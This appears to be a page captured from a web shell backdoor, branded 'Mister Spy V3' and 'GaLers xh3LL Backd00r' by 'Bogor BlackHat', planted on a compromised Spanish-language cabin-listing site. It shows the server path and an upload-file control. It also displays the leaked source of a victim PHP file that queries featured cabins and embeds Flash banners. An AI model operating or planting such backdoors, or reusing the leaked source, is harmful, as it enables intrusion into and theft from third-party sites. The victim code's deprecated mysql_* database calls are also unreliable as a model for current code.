Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/
Upload File :
Current File : /home/caballoscriollos/www/espanol/ssi_cabanias_destacadas.php

<?
require_once('../Connections/cnx.php');
require_once('../funcs.php');

$cantidad_banners = 4;

mysql_select_db($database_cnx, $cnx);
$query_rsCabaniasDestacadas     = "SELECT c.*, r.region, p.provincia FROM (cabanias c INNER JOIN regiones r ON c.regionID=r.regionID ) INNER JOIN provincias p ON c.provinciaID=p.provinciaID WHERE c.destacado='1' ORDER BY RAND() LIMIT ".$cantidad_banners;
$rsCabaniasDestacadas           = mysql_query($query_rsCabaniasDestacadas, $cnx) or die(mysql_error());
$row_rsCabaniasDestacadas       = mysql_fetch_assoc($rsCabaniasDestacadas);
$totalRows_rsCabaniasDestacadas = mysql_num_rows($rsCabaniasDestacadas);

$i = 0;
do{
	$cabaniaDest[$i]['id']      = $row_rsCabaniasDestacadas['cabaniaID'];
	$cabaniaDest[$i]['cabania'] = $row_rsCabaniasDestacadas['cabania'];
	$cabaniaDest[$i]['foto_1']  = $row_rsCabaniasDestacadas['foto_1'];	
	$i++;
}while($row_rsCabaniasDestacadas       = mysql_fetch_assoc($rsCabaniasDestacadas));

if($i<=$cantidad_banners)
{
	for($x=$i;$x<$cantidad_banners;$x++)
	{
		$cabaniaDest[$x]['id']      = "";
		$cabaniaDest[$x]['cabania'] = "Espacio reservado para publicidad. Disponible a la venta.";
		$cabaniaDest[$x]['foto_1']  = "default_cabania_banner_vta.gif";	

	}
}

function lineaSeparadora()
{
	echo '
	<tr>
	   	<td valign="middle" colspan="10">
			<table width="100%" border="0" cellspacing="0" cellpadding="0">
			  <tr>
				<td background="images/linea_punteada_vertical.gif"><div align="center"></div></td>
			  </tr>
			</table>
	   </td>
   </tr>
   ';
}

?>
<link href="../css/basico_frontend.css" rel="stylesheet" type="text/css" />
<body class="Cierre"><table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr>
	  <td height="20" valign="top" class="fecha"><table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td class="fecha"><strong>AVISOS DESTACADOS </strong></td>
          <td width="300" valign="top"><div align="right"><a href="cabanias_alta_form.php" class="Cierre"><strong>Inscriba su caba&ntilde;a aqu&iacute;</strong></a><strong> / </strong><a href="../actualizaciones/index.php" target="_blank" class="linkBasico"><strong>Actualice sus datos aqu&iacute; </strong></a></div></td>
        </tr>
      </table></td>
	</tr>
	<tr>
		<td>
			<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" class="bordeGris">
                <td valign="top">
	                <table border="0" align="center" valign="middle" cellpadding="0" cellspacing="30" >
<tr>
			                <td class="" valign="middle">
                            	<div align="center">
                            	  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49">
                                    <param name="movie" value="images/lasirena.swf">
                                    <param name="quality" value="high">
                                    <param name="wmode" value="transparent">
                                    <embed src="images/lasirena.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                                  </object>
               	</div>							</td>
			                <td class="bordeGris" valign="middle"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49" >
                              <param name="movie" value="images/lasmulitas.swf" />
                              <param name="quality" value="high" />
                              <param name="wmode" value="transparent" />
                              <embed src="images/lasmulitas.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                </object></td>
	                  <td valign="middle" class="bordeGris">
                            	<div align="center">
                            	  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49" >
                                    <param name="movie" value="banners/der/banner1_1.swf" />
                                    <param name="quality" value="high" />
                                    <param name="wmode" value="transparent" />
                                    <embed src="banners/der/banner1_1.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                                  </object>
               	</div>							</td>
          <td class="bordeGris">
                            	<div align="center">
                            	  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49" >
                                    <param name="movie" value="banners/der/banner1_1.swf" />
                                    <param name="quality" value="high" />
                                    <param name="wmode" value="transparent" />
                                    <embed src="banners/der/banner1_1.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                                  </object>
               	</div>							</td>
		                </tr>
                		<tr>
			                <td class="bordeGris">
                            	<div align="center">
                                <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49" >
                                  <param name="movie" value="banners/der/banner1_1.swf" />
                                  <param name="quality" value="high" />
                                  <param name="wmode" value="transparent" />
                                  <embed src="banners/der/banner1_1.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                                </object>
				                </div>
							</td>
			                <td class="bordeGris">
                            	<div align="center">
                                <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49" >
                                  <param name="movie" value="banners/der/banner1_1.swf" />
                                  <param name="quality" value="high" />
                                  <param name="wmode" value="transparent" />
                                  <embed src="banners/der/banner1_1.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                                </object>
				                </div>							</td>
			                <td class="bordeGris">
                            	<div align="center">
                                <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49" >
                                  <param name="movie" value="banners/der/banner1_1.swf" />
                                  <param name="quality" value="high" />
                                  <param name="wmode" value="transparent" />
                                  <embed src="banners/der/banner1_1.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                                </object>
				                </div>							</td>
			                <td class="bordeGris">
                            	<div align="center">
                                <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="131" height="49" >
                                  <param name="movie" value="banners/der/banner1_1.swf" />
                                  <param name="quality" value="high" />
                                  <param name="wmode" value="transparent" />
                                  <embed src="banners/der/banner1_1.swf" width="131" height="49" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent"></embed>
                                </object>
				                </div>							</td>
		                </tr>
               	  </table>						
				</td>
       	  </table>		
		</td>
	</tr>
</table>
<br />
<?
mysql_free_result($rsCabaniasDestacadas);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat